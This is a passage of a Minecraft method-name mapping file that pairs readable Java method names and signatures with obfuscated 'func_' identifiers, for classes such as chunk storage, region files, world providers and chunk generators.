net/minecraft/world/chunk/storage/ExtendedBlockStorage/func_76662_d ()I +MD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/getExtSkylightValue (III)I net/minecraft/world/chunk/storage/ExtendedBlockStorage/func_76670_c (III)I +MD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/removeInvalidBlocks ()V net/minecraft/world/chunk/storage/ExtendedBlockStorage/func_76672_e ()V +MD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/getExtBlocklightValue (III)I net/minecraft/world/chunk/storage/ExtendedBlockStorage/func_76674_d (III)I +MD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/getData ()[C net/minecraft/world/chunk/storage/ExtendedBlockStorage/func_177487_g ()[C +MD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/getBlocklightArray ()Lnet/minecraft/world/chunk/NibbleArray; net/minecraft/world/chunk/storage/ExtendedBlockStorage/func_76661_k ()Lnet/minecraft/world/chunk/NibbleArray; +MD: net/minecraft/world/chunk/storage/ExtendedBlockStorage/getSkylightArray ()Lnet/minecraft/world/chunk/NibbleArray; net/minecraft/world/chunk/storage/ExtendedBlockStorage/func_76671_l ()Lnet/minecraft/world/chunk/NibbleArray; +MD: net/minecraft/command/server/CommandListBans/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandListBans/func_82362_a ()I +MD: net/minecraft/command/server/CommandListBans/canCommandSenderUseCommand (Lnet/minecraft/command/ICommandSender;)Z net/minecraft/command/server/CommandListBans/func_71519_b (Lnet/minecraft/command/ICommandSender;)Z +MD: net/minecraft/command/server/CommandListBans/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandListBans/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandListBans/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandListBans/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandListBans/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandListBans/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandListBans/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandListBans/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/world/chunk/storage/NibbleArrayReader/get (III)I net/minecraft/world/chunk/storage/NibbleArrayReader/func_76686_a (III)I +MD: net/minecraft/world/chunk/storage/IChunkLoader/chunkTick ()V net/minecraft/world/chunk/storage/IChunkLoader/func_75817_a ()V +MD: net/minecraft/world/chunk/storage/IChunkLoader/loadChunk (Lnet/minecraft/world/World;II)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/chunk/storage/IChunkLoader/func_75815_a (Lnet/minecraft/world/World;II)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/chunk/storage/IChunkLoader/saveChunk (Lnet/minecraft/world/World;Lnet/minecraft/world/chunk/Chunk;)V net/minecraft/world/chunk/storage/IChunkLoader/func_75816_a (Lnet/minecraft/world/World;Lnet/minecraft/world/chunk/Chunk;)V +MD: net/minecraft/world/chunk/storage/IChunkLoader/saveExtraData ()V net/minecraft/world/chunk/storage/IChunkLoader/func_75818_b ()V +MD: net/minecraft/world/chunk/storage/IChunkLoader/saveExtraChunkData (Lnet/minecraft/world/World;Lnet/minecraft/world/chunk/Chunk;)V net/minecraft/world/chunk/storage/IChunkLoader/func_75819_b (Lnet/minecraft/world/World;Lnet/minecraft/world/chunk/Chunk;)V +MD: net/minecraft/world/chunk/storage/ChunkLoader/convertToAnvilFormat (Lnet/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData;Lnet/minecraft/nbt/NBTTagCompound;Lnet/minecraft/world/biome/WorldChunkManager;)V net/minecraft/world/chunk/storage/ChunkLoader/func_76690_a (Lnet/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData;Lnet/minecraft/nbt/NBTTagCompound;Lnet/minecraft/world/biome/WorldChunkManager;)V +MD: net/minecraft/world/chunk/storage/ChunkLoader/load (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData; net/minecraft/world/chunk/storage/ChunkLoader/func_76691_a (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/world/chunk/storage/ChunkLoader$AnvilConverterData; +MD: net/minecraft/world/chunk/storage/RegionFile$ChunkBuffer/close ()V net/minecraft/world/chunk/storage/RegionFile$ChunkBuffer/close ()V +MD: net/minecraft/world/chunk/storage/RegionFile/getChunkDataInputStream (II)Ljava/io/DataInputStream; net/minecraft/world/chunk/storage/RegionFile/func_76704_a (II)Ljava/io/DataInputStream; +MD: net/minecraft/world/chunk/storage/RegionFile/setOffset (III)V net/minecraft/world/chunk/storage/RegionFile/func_76711_a (III)V +MD: net/minecraft/world/chunk/storage/RegionFile/write (II[BI)V net/minecraft/world/chunk/storage/RegionFile/func_76706_a (II[BI)V +MD: net/minecraft/world/chunk/storage/RegionFile/write (I[BI)V net/minecraft/world/chunk/storage/RegionFile/func_76712_a (I[BI)V +MD: net/minecraft/world/chunk/storage/RegionFile/getChunkDataOutputStream (II)Ljava/io/DataOutputStream; net/minecraft/world/chunk/storage/RegionFile/func_76710_b (II)Ljava/io/DataOutputStream; +MD: net/minecraft/world/chunk/storage/RegionFile/setChunkTimestamp (III)V net/minecraft/world/chunk/storage/RegionFile/func_76713_b (III)V +MD: net/minecraft/world/chunk/storage/RegionFile/close ()V net/minecraft/world/chunk/storage/RegionFile/func_76708_c ()V +MD: net/minecraft/world/chunk/storage/RegionFile/isChunkSaved (II)Z net/minecraft/world/chunk/storage/RegionFile/func_76709_c (II)Z +MD: net/minecraft/world/chunk/storage/RegionFile/outOfBounds (II)Z net/minecraft/world/chunk/storage/RegionFile/func_76705_d (II)Z +MD: net/minecraft/world/chunk/storage/RegionFile/getOffset (II)I net/minecraft/world/chunk/storage/RegionFile/func_76707_e (II)I +MD: net/minecraft/world/chunk/storage/RegionFileCache/clearRegionFileReferences ()V net/minecraft/world/chunk/storage/RegionFileCache/func_76551_a ()V +MD: net/minecraft/world/chunk/storage/RegionFileCache/createOrLoadRegionFile (Ljava/io/File;II)Lnet/minecraft/world/chunk/storage/RegionFile; net/minecraft/world/chunk/storage/RegionFileCache/func_76550_a (Ljava/io/File;II)Lnet/minecraft/world/chunk/storage/RegionFile; +MD: net/minecraft/world/chunk/storage/RegionFileCache/getChunkInputStream (Ljava/io/File;II)Ljava/io/DataInputStream; net/minecraft/world/chunk/storage/RegionFileCache/func_76549_c (Ljava/io/File;II)Ljava/io/DataInputStream; +MD: net/minecraft/world/chunk/storage/RegionFileCache/getChunkOutputStream (Ljava/io/File;II)Ljava/io/DataOutputStream; net/minecraft/world/chunk/storage/RegionFileCache/func_76552_d (Ljava/io/File;II)Ljava/io/DataOutputStream; +MD: net/minecraft/world/chunk/storage/AnvilChunkLoader/chunkTick ()V net/minecraft/world/chunk/storage/AnvilChunkLoader/func_75817_a ()V +MD: net/minecraft/world/chunk/storage/AnvilChunkLoader/addChunkToPending (Lnet/minecraft/world/ChunkCoordIntPair;Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/chunk/storage/AnvilChunkLoader/func_75824_a (Lnet/minecraft/world/ChunkCoordIntPair;Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/chunk/storage/AnvilChunkLoader/loadChunk (Lnet/minecraft/world/World;II)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/chunk/storage/AnvilChunkLoader/func_75815_a (Lnet/minecraft/world/World;II)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/chunk/storage/AnvilChunkLoader/checkedReadChunkFromNBT (Lnet/minecraft/world/World;IILnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/chunk/storage/AnvilChunkLoader/func_75822_a (Lnet/minecraft/world/World;IILnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/chunk/storage/AnvilChunkLoader/saveChunk (Lnet/minecraft/world/World;Lnet/minecraft/world/chunk/Chunk;)V net/minecraft/world/chunk/storage/AnvilChunkLoader/func_75816_a (Lnet/minecraft/world/World;Lnet/minecraft/world/chunk/Chunk;)V +MD: net/minecraft/world/chunk/storage/AnvilChunkLoader/readChunkFromNBT (Lnet/minecraft/world/World;Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/chunk/storage/AnvilChunkLoader/func_75823_a (Lnet/minecraft/world/World;Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/chunk/storage/AnvilChunkLoader/writeChunkToNBT (Lnet/minecraft/world/chunk/Chunk;Lnet/minecraft/world/World;Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/chunk/storage/AnvilChunkLoader/func_75820_a (Lnet/minecraft/world/chunk/Chunk;Lnet/minecraft/world/World;Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/chunk/storage/AnvilChunkLoader/saveExtraData ()V net/minecraft/world/chunk/storage/AnvilChunkLoader/func_75818_b ()V +MD: net/minecraft/world/chunk/storage/AnvilChunkLoader/func_183013_b (Lnet/minecraft/world/ChunkCoordIntPair;Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/chunk/storage/AnvilChunkLoader/func_183013_b (Lnet/minecraft/world/ChunkCoordIntPair;Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/chunk/storage/AnvilChunkLoader/saveExtraChunkData (Lnet/minecraft/world/World;Lnet/minecraft/world/chunk/Chunk;)V net/minecraft/world/chunk/storage/AnvilChunkLoader/func_75819_b (Lnet/minecraft/world/World;Lnet/minecraft/world/chunk/Chunk;)V +MD: net/minecraft/world/chunk/storage/AnvilChunkLoader/writeNextIO ()Z net/minecraft/world/chunk/storage/AnvilChunkLoader/func_75814_c ()Z +MD: net/minecraft/world/WorldProvider/generateLightBrightnessTable ()V net/minecraft/world/WorldProvider/func_76556_a ()V +MD: net/minecraft/world/WorldProvider/calcSunriseSunsetColors (FF)[F net/minecraft/world/WorldProvider/func_76560_a (FF)[F +MD: net/minecraft/world/WorldProvider/getProviderForDimension (I)Lnet/minecraft/world/WorldProvider; net/minecraft/world/WorldProvider/func_76570_a (I)Lnet/minecraft/world/WorldProvider; +MD: net/minecraft/world/WorldProvider/canCoordinateBeSpawn (II)Z net/minecraft/world/WorldProvider/func_76566_a (II)Z +MD: net/minecraft/world/WorldProvider/getMoonPhase (J)I net/minecraft/world/WorldProvider/func_76559_b (J)I +MD: net/minecraft/world/WorldProvider/calculateCelestialAngle (JF)F net/minecraft/world/WorldProvider/func_76563_a (JF)F +MD: net/minecraft/world/WorldProvider/registerWorld (Lnet/minecraft/world/World;)V net/minecraft/world/WorldProvider/func_76558_a (Lnet/minecraft/world/World;)V +MD: net/minecraft/world/WorldProvider/registerWorldChunkManager ()V net/minecraft/world/WorldProvider/func_76572_b ()V +MD: net/minecraft/world/WorldProvider/getFogColor (FF)Lnet/minecraft/util/Vec3; net/minecraft/world/WorldProvider/func_76562_b (FF)Lnet/minecraft/util/Vec3; +MD: net/minecraft/world/WorldProvider/doesXZShowFog (II)Z net/minecraft/world/WorldProvider/func_76568_b (II)Z +MD: net/minecraft/world/WorldProvider/createChunkGenerator ()Lnet/minecraft/world/chunk/IChunkProvider; net/minecraft/world/WorldProvider/func_76555_c ()Lnet/minecraft/world/chunk/IChunkProvider; +MD: net/minecraft/world/WorldProvider/isSurfaceWorld ()Z net/minecraft/world/WorldProvider/func_76569_d ()Z +MD: net/minecraft/world/WorldProvider/canRespawnHere ()Z net/minecraft/world/WorldProvider/func_76567_e ()Z +MD: net/minecraft/world/WorldProvider/getCloudHeight ()F net/minecraft/world/WorldProvider/func_76571_f ()F +MD: net/minecraft/world/WorldProvider/isSkyColored ()Z net/minecraft/world/WorldProvider/func_76561_g ()Z +MD: net/minecraft/world/WorldProvider/getSpawnCoordinate ()Lnet/minecraft/util/BlockPos; net/minecraft/world/WorldProvider/func_177496_h ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/WorldProvider/getAverageGroundLevel ()I net/minecraft/world/WorldProvider/func_76557_i ()I +MD: net/minecraft/world/WorldProvider/getVoidFogYFactor ()D net/minecraft/world/WorldProvider/func_76565_k ()D +MD: net/minecraft/world/WorldProvider/getDimensionName ()Ljava/lang/String; net/minecraft/world/WorldProvider/func_80007_l ()Ljava/lang/String; +MD: net/minecraft/world/WorldProvider/getInternalNameSuffix ()Ljava/lang/String; net/minecraft/world/WorldProvider/func_177498_l ()Ljava/lang/String; +MD: net/minecraft/world/WorldProvider/getWorldChunkManager ()Lnet/minecraft/world/biome/WorldChunkManager; net/minecraft/world/WorldProvider/func_177499_m ()Lnet/minecraft/world/biome/WorldChunkManager; +MD: net/minecraft/world/WorldProvider/doesWaterVaporize ()Z net/minecraft/world/WorldProvider/func_177500_n ()Z +MD: net/minecraft/world/WorldProvider/getHasNoSky ()Z net/minecraft/world/WorldProvider/func_177495_o ()Z +MD: net/minecraft/world/WorldProvider/getLightBrightnessTable ()[F net/minecraft/world/WorldProvider/func_177497_p ()[F +MD: net/minecraft/world/WorldProvider/getDimensionId ()I net/minecraft/world/WorldProvider/func_177502_q ()I +MD: net/minecraft/world/WorldProvider/getWorldBorder ()Lnet/minecraft/world/border/WorldBorder; net/minecraft/world/WorldProvider/func_177501_r ()Lnet/minecraft/world/border/WorldBorder; +MD: net/minecraft/world/WorldProviderHell$1/getCenterX ()D net/minecraft/world/WorldProviderHell$1/func_177731_f ()D +MD: net/minecraft/world/WorldProviderHell$1/getCenterZ ()D net/minecraft/world/WorldProviderHell$1/func_177721_g ()D +MD: net/minecraft/world/WorldProviderHell/generateLightBrightnessTable ()V net/minecraft/world/WorldProviderHell/func_76556_a ()V +MD: net/minecraft/world/WorldProviderHell/canCoordinateBeSpawn (II)Z net/minecraft/world/WorldProviderHell/func_76566_a (II)Z +MD: net/minecraft/world/WorldProviderHell/calculateCelestialAngle (JF)F net/minecraft/world/WorldProviderHell/func_76563_a (JF)F +MD: net/minecraft/world/WorldProviderHell/registerWorldChunkManager ()V net/minecraft/world/WorldProviderHell/func_76572_b ()V +MD: net/minecraft/world/WorldProviderHell/getFogColor (FF)Lnet/minecraft/util/Vec3; net/minecraft/world/WorldProviderHell/func_76562_b (FF)Lnet/minecraft/util/Vec3; +MD: net/minecraft/world/WorldProviderHell/doesXZShowFog (II)Z net/minecraft/world/WorldProviderHell/func_76568_b (II)Z +MD: net/minecraft/world/WorldProviderHell/createChunkGenerator ()Lnet/minecraft/world/chunk/IChunkProvider; net/minecraft/world/WorldProviderHell/func_76555_c ()Lnet/minecraft/world/chunk/IChunkProvider; +MD: net/minecraft/world/WorldProviderHell/isSurfaceWorld ()Z net/minecraft/world/WorldProviderHell/func_76569_d ()Z +MD: net/minecraft/world/WorldProviderHell/canRespawnHere ()Z net/minecraft/world/WorldProviderHell/func_76567_e ()Z +MD: net/minecraft/world/WorldProviderHell/getDimensionName ()Ljava/lang/String; net/minecraft/world/WorldProviderHell/func_80007_l ()Ljava/lang/String; +MD: net/minecraft/world/WorldProviderHell/getInternalNameSuffix ()Ljava/lang/String; net/minecraft/world/WorldProviderHell/func_177498_l ()Ljava/lang/String; +MD: net/minecraft/world/WorldProviderHell/getWorldBorder ()Lnet/minecraft/world/border/WorldBorder; net/minecraft/world/WorldProviderHell/func_177501_r ()Lnet/minecraft/world/border/WorldBorder; +MD: net/minecraft/world/WorldProviderSurface/getDimensionName ()Ljava/lang/String; net/minecraft/world/WorldProviderSurface/func_80007_l ()Ljava/lang/String; +MD: net/minecraft/world/WorldProviderSurface/getInternalNameSuffix ()Ljava/lang/String; net/minecraft/world/WorldProviderSurface/func_177498_l ()Ljava/lang/String; +MD: net/minecraft/world/WorldProviderEnd/calcSunriseSunsetColors (FF)[F net/minecraft/world/WorldProviderEnd/func_76560_a (FF)[F +MD: net/minecraft/world/WorldProviderEnd/canCoordinateBeSpawn (II)Z net/minecraft/world/WorldProviderEnd/func_76566_a (II)Z +MD: net/minecraft/world/WorldProviderEnd/calculateCelestialAngle (JF)F net/minecraft/world/WorldProviderEnd/func_76563_a (JF)F +MD: net/minecraft/world/WorldProviderEnd/registerWorldChunkManager ()V net/minecraft/world/WorldProviderEnd/func_76572_b ()V +MD: net/minecraft/world/WorldProviderEnd/getFogColor (FF)Lnet/minecraft/util/Vec3; net/minecraft/world/WorldProviderEnd/func_76562_b (FF)Lnet/minecraft/util/Vec3; +MD: net/minecraft/world/WorldProviderEnd/doesXZShowFog (II)Z net/minecraft/world/WorldProviderEnd/func_76568_b (II)Z +MD: net/minecraft/world/WorldProviderEnd/createChunkGenerator ()Lnet/minecraft/world/chunk/IChunkProvider; net/minecraft/world/WorldProviderEnd/func_76555_c ()Lnet/minecraft/world/chunk/IChunkProvider; +MD: net/minecraft/world/WorldProviderEnd/isSurfaceWorld ()Z net/minecraft/world/WorldProviderEnd/func_76569_d ()Z +MD: net/minecraft/world/WorldProviderEnd/canRespawnHere ()Z net/minecraft/world/WorldProviderEnd/func_76567_e ()Z +MD: net/minecraft/world/WorldProviderEnd/getCloudHeight ()F net/minecraft/world/WorldProviderEnd/func_76571_f ()F +MD: net/minecraft/world/WorldProviderEnd/isSkyColored ()Z net/minecraft/world/WorldProviderEnd/func_76561_g ()Z +MD: net/minecraft/world/WorldProviderEnd/getSpawnCoordinate ()Lnet/minecraft/util/BlockPos; net/minecraft/world/WorldProviderEnd/func_177496_h ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/WorldProviderEnd/getAverageGroundLevel ()I net/minecraft/world/WorldProviderEnd/func_76557_i ()I +MD: net/minecraft/world/WorldProviderEnd/getDimensionName ()Ljava/lang/String; net/minecraft/world/WorldProviderEnd/func_80007_l ()Ljava/lang/String; +MD: net/minecraft/world/WorldProviderEnd/getInternalNameSuffix ()Ljava/lang/String; net/minecraft/world/WorldProviderEnd/func_177498_l ()Ljava/lang/String; +MD: net/minecraft/world/gen/MapGenRavine/func_180707_a (JIILnet/minecraft/world/chunk/ChunkPrimer;DDDFFFIID)V net/minecraft/world/gen/MapGenRavine/func_180707_a (JIILnet/minecraft/world/chunk/ChunkPrimer;DDDFFFIID)V +MD: net/minecraft/world/gen/MapGenRavine/recursiveGenerate (Lnet/minecraft/world/World;IIIILnet/minecraft/world/chunk/ChunkPrimer;)V net/minecraft/world/gen/MapGenRavine/func_180701_a (Lnet/minecraft/world/World;IIIILnet/minecraft/world/chunk/ChunkPrimer;)V +MD: net/minecraft/world/chunk/ChunkPrimer/getBlockState (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/world/chunk/ChunkPrimer/func_177858_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/world/chunk/ChunkPrimer/getBlockState (III)Lnet/minecraft/block/state/IBlockState; net/minecraft/world/chunk/ChunkPrimer/func_177856_a (III)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/world/chunk/ChunkPrimer/setBlockState (IIILnet/minecraft/block/state/IBlockState;)V net/minecraft/world/chunk/ChunkPrimer/func_177855_a (IIILnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/world/chunk/ChunkPrimer/setBlockState (ILnet/minecraft/block/state/IBlockState;)V net/minecraft/world/chunk/ChunkPrimer/func_177857_a (ILnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/world/gen/ChunkProviderSettings$Factory/func_177863_a ()V net/minecraft/world/gen/ChunkProviderSettings$Factory/func_177863_a ()V +MD: net/minecraft/world/gen/ChunkProviderSettings$Factory/jsonToFactory (Ljava/lang/String;)Lnet/minecraft/world/gen/ChunkProviderSettings$Factory; net/minecraft/world/gen/ChunkProviderSettings$Factory/func_177865_a (Ljava/lang/String;)Lnet/minecraft/world/gen/ChunkProviderSettings$Factory; +MD: net/minecraft/world/gen/ChunkProviderSettings$Factory/func_177864_b ()Lnet/minecraft/world/gen/ChunkProviderSettings; net/minecraft/world/gen/ChunkProviderSettings$Factory/func_177864_b ()Lnet/minecraft/world/gen/ChunkProviderSettings; +MD: net/minecraft/world/gen/ChunkProviderSettings$Factory/equals (Ljava/lang/Object;)Z net/minecraft/world/gen/ChunkProviderSettings$Factory/equals (Ljava/lang/Object;)Z +MD: net/minecraft/world/gen/ChunkProviderSettings$Factory/hashCode ()I net/minecraft/world/gen/ChunkProviderSettings$Factory/hashCode ()I +MD: net/minecraft/world/gen/ChunkProviderSettings$Factory/toString ()Ljava/lang/String; net/minecraft/world/gen/ChunkProviderSettings$Factory/toString ()Ljava/lang/String; +MD: net/minecraft/world/gen/ChunkProviderSettings$Serializer/serialize (Lnet/minecraft/world/gen/ChunkProviderSettings$Factory;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/world/gen/ChunkProviderSettings$Serializer/serialize (Lnet/minecraft/world/gen/ChunkProviderSettings$Factory;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/world/gen/ChunkProviderSettings$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/world/gen/ChunkProviderSettings$Factory; net/minecraft/world/gen/ChunkProviderSettings$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/world/gen/ChunkProviderSettings$Factory; +MD: net/minecraft/world/gen/ChunkProviderSettings$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/world/gen/ChunkProviderSettings$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/world/gen/ChunkProviderSettings$Serializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/world/gen/ChunkProviderSettings$Serializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/world/gen/ChunkProviderDebug/chunkExists (II)Z net/minecraft/world/gen/ChunkProviderDebug/func_73149_a (II)Z +MD: net/minecraft/world/gen/ChunkProviderDebug/getStrongholdGen (Lnet/minecraft/world/World;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; net/minecraft/world/gen/ChunkProviderDebug/func_180513_a (Lnet/minecraft/world/World;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/gen/ChunkProviderDebug/populate (Lnet/minecraft/world/chunk/IChunkProvider;II)V net/minecraft/world/gen/ChunkProviderDebug/func_73153_a (Lnet/minecraft/world/chunk/IChunkProvider;II)V +MD: net/minecraft/world/gen/ChunkProviderDebug/populateChunk (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/chunk/Chunk;II)Z net/minecraft/world/gen/ChunkProviderDebug/func_177460_a (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/chunk/Chunk;II)Z +MD: net/minecraft/world/gen/ChunkProviderDebug/recreateStructures (Lnet/minecraft/world/chunk/Chunk;II)V net/minecraft/world/gen/ChunkProviderDebug/func_180514_a (Lnet/minecraft/world/chunk/Chunk;II)V +MD: net/minecraft/world/gen/ChunkProviderDebug/provideChunk (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/gen/ChunkProviderDebug/func_177459_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/gen/ChunkProviderDebug/getPossibleCreatures (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/world/gen/ChunkProviderDebug/func_177458_a (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/world/gen/ChunkProviderDebug/saveChunks (ZLnet/minecraft/util/IProgressUpdate;)Z net/minecraft/world/gen/ChunkProviderDebug/func_73151_a (ZLnet/minecraft/util/IProgressUpdate;)Z +MD: net/minecraft/world/gen/ChunkProviderDebug/func_177461_b (II)Lnet/minecraft/block/state/IBlockState; net/minecraft/world/gen/ChunkProviderDebug/func_177461_b (II)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/world/gen/ChunkProviderDebug/saveExtraData ()V net/minecraft/world/gen/ChunkProviderDebug/func_104112_b ()V +MD: net/minecraft/world/gen/ChunkProviderDebug/unloadQueuedChunks ()Z net/minecraft/world/gen/ChunkProviderDebug/func_73156_b ()Z +MD: net/minecraft/world/gen/ChunkProviderDebug/provideChunk (II)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/gen/ChunkProviderDebug/func_73154_d (II)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/gen/ChunkProviderDebug/canSave ()Z net/minecraft/world/gen/ChunkProviderDebug/func_73157_c ()Z +MD: net/minecraft/world/gen/ChunkProviderDebug/makeString ()Ljava/lang/String; net/minecraft/world/gen/ChunkProviderDebug/func_73148_d ()Ljava/lang/String; +MD: net/minecraft/world/gen/ChunkProviderDebug/getLoadedChunkCount ()I net/minecraft/world/gen/ChunkProviderDebug/func_73152_e ()I +MD: net/minecraft/world/gen/ChunkProviderFlat/chunkExists (II)Z net/minecraft/world/gen/ChunkProviderFlat/func_73149_a (II)Z +MD: net/minecraft/world/gen/ChunkProviderFlat/getStrongholdGen (Lnet/minecraft/world/World;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; net/minecraft/world/gen/ChunkProviderFlat/func_180513_a (Lnet/minecraft/world/World;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/gen/ChunkProviderFlat/populate (Lnet/minecraft/world/chunk/IChunkProvider;II)V net/minecraft/world/gen/ChunkProviderFlat/func_73153_a (Lnet/minecraft/world/chunk/IChunkProvider;II)V +MD: net/minecraft/world/gen/ChunkProviderFlat/populateChunk (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/chunk/Chunk;II)Z net/minecraft/world/gen/ChunkProviderFlat/func_177460_a (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/chunk/Chunk;II)Z +MD: net/minecraft/world/gen/ChunkProviderFlat/recreateStructures (Lnet/minecraft/world/chunk/Chunk;II)V net/minecraft/world/gen/ChunkProviderFlat/func_180514_a (Lnet/minecraft/world/chunk/Chunk;II)V +MD: net/minecraft/world/gen/ChunkProviderFlat/provideChunk (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/gen/ChunkProviderFlat/func_177459_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/gen/ChunkProviderFlat/getPossibleCreatures (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/world/gen/ChunkProviderFlat/func_177458_a (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/world/gen/ChunkProviderFlat/saveChunks (ZLnet/minecraft/util/IProgressUpdate;)Z net/minecraft/world/gen/ChunkProviderFlat/func_73151_a (ZLnet/minecraft/util/IProgressUpdate;)Z +MD: net/minecraft/world/gen/ChunkProviderFlat/saveExtraData ()V net/minecraft/world/gen/ChunkProviderFlat/func_104112_b ()V +MD: net/minecraft/world/gen/ChunkProviderFlat/unloadQueuedChunks ()Z net/minecraft/world/gen/ChunkProviderFlat/func_73156_b ()Z +MD: net/minecraft/world/gen/ChunkProviderFlat/provideChunk (II)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/gen/ChunkProviderFlat/func_73154_d (II)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/gen/ChunkProviderFlat/canSave ()Z net/minecraft/world/gen/ChunkProviderFlat/func_73157_c ()Z +MD: net/minecraft/world/gen/ChunkProviderFlat/makeString ()Ljava/lang/String; net/minecraft/world/gen/ChunkProviderFlat/func_73148_d ()Ljava/lang/String; +MD: net/minecraft/world/gen/ChunkProviderFlat/getLoadedChunkCount ()I net/minecraft/world/gen/ChunkProviderFlat/func_73152_e ()I +MD: net/minecraft/world/gen/ChunkProviderHell/chunkExists (II)Z net/minecraft/world/gen/ChunkProviderHell/func_73149_a (II)Z +MD: net/minecraft/world/gen/ChunkProviderHell/func_180515_a (IILnet/minecraft/world/chunk/ChunkPrimer;)V net/minecraft/world/gen/ChunkProviderHell/func_180515_a (IILnet/minecraft/world/chunk/ChunkPrimer;)V +MD: net/minecraft/world/gen/ChunkProviderHell/getStrongholdGen (Lnet/minecraft/world/World;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; net/minecraft/world/gen/ChunkProviderHell/func_180513_a 